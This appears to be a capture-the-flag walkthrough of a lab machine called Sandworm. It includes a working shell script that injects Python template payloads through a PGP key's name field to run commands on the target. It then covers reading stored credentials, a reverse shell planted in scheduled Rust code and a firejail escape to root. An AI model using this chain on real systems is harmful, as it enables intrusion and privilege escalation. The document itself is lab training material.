Sandworm

User flag

Initial nmap:

$ nmap -sV -sC 10.10.11.218
Starting Nmap 7.93 ( https://nmap.org ) at 2023-06-19 10:56 CDT
Nmap scan report for 10.10.11.218
Host is up (0.054s latency).
Not shown: 997 closed tcp ports (conn-refused)
PORT    STATE SERVICE  VERSION
22/tcp  open  ssh      OpenSSH 8.9p1 Ubuntu 3ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 b7896c0b20ed49b2c1867c2992741c1f (ECDSA)
|_  256 18cd9d08a621a8b8b6f79f8d405154fb (ED25519)
80/tcp  open  http     nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to https://ssa.htb/
|_http-server-header: nginx/1.18.0 (Ubuntu)
443/tcp open  ssl/http nginx 1.18.0 (Ubuntu)
| ssl-cert: Subject: commonName=SSA/organizationName=Secret Spy Agency/stateOrProvinceName=Classified/countryName=SA
| Not valid before: 2023-05-04T18:03:25
|_Not valid after:  2050-09-19T18:03:25
|_http-title: 400 The plain HTTP request was sent to HTTPS port
|_http-server-header: nginx/1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 36.37 seconds

The signature verification on https://ssa.htb/guide echoes the "Name-Real" from the pgp key, and it can be used for SSTI. I had a bit of trouble getting a reverse shell working, so I made a "shell" instead:

#!/bin/sh
while read COMMAND
do
        rm -rf ~/.gnupg/
        gpg --batch --gen-key --quiet << EOF
Key-Type: RSA
Name-Real: {{ self.__init__.__globals__.__builtins__.__import__('os').popen('$COMMAND').read() }}
Passphrase: none
%commit
EOF
        KEYID=$(gpg --list-keys --keyid-format short | head -n 3 | tail -n 1 | cut -d" " -f4 | cut -d/ -f2)
        gpg --armor --user $KEYID --yes --batch --pinentry-mode loopback --passphrase "none" --quiet --clearsign message.txt
        PUBKEY=$(gpg --armor --export --user $KEYID | tr '\n' '*' | sed 's/\*/\%0A/g' | sed 's/+/\%2B/g' | sed 's/ /+/g' | sed 's/:/\%3A/g' | sed 's/\//\%2F/g' | sed 's/=/\%3D/g' | sed 's/...$//g')
        SIGNEDTXT=$(cat message.txt.asc | tr '\n' '*' | sed 's/\*/\%0A/g' | sed 's/+/\%2B/g' | sed 's/ /+/g' | sed 's/:/\%3A/g' | sed 's/\//\%2F/g' | sed 's/=/\%3D/g' | sed 's/...$//g')
        curl -k -s 'https://ssa.htb/process' -X POST -H 'Content-Type: application/x-www-form-urlencoded; charset=UTF-8' --data-raw 'signed_text='"$SIGNEDTXT"'&public_key='"$PUBKEY"'' 
        echo
        echo
        echo "******************************************************************************"
        echo "******************************************************************************"
        echo "******************************************************************************"
        echo
done

We get access as the user atlas.

Found credentials for silentobserver in cat /home/atlas/.config/httpie/sessions/localhost_5000/admin.json

Can ssh in using the credentials and get the user flag.

Root flag

silentobserver cannot run sudo.

There are some suid files:

 find /* -user root -perm -4000 -print 2>/dev/null
/usr/local/bin/firejail
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/openssh/ssh-keysign
/usr/libexec/polkit-agent-helper-1
/usr/bin/mount
/usr/bin/sudo
/usr/bin/gpasswd
/usr/bin/umount
/usr/bin/passwd
/usr/bin/chsh
/usr/bin/chfn
/usr/bin/newgrp
/usr/bin/su
/usr/bin/fusermount3

A firejail escape exploit is downloaded from https://www.openwall.com/lists/oss-security/2022/06/08/10/1

This machine has a rust program that is compiled on a schedule, and we have write access to one of the files that it uses:

$ ls -la /opt/crates/logger/src/lib.rs 
-rw-rw-r-- 1 atlas silentobserver 732 May  4 17:12 /opt/crates/logger/src/lib.rs

The code in lib.rs is replaced with code for a reverse shell, which is then run and caught with nc.

An ssh session is used to run pspy64 to monitor processes.

The reverse shell is then used to run the firefail escape python script. There is no output from this command in the reverse shell, so pspy64 is used to get the process id.

The reverse shell can then be killed and a new one created.

Then firejail can be run an joined with the session opened earlier.

firejail --join=<pid from pspy64>

Then run su root and you can get the flag!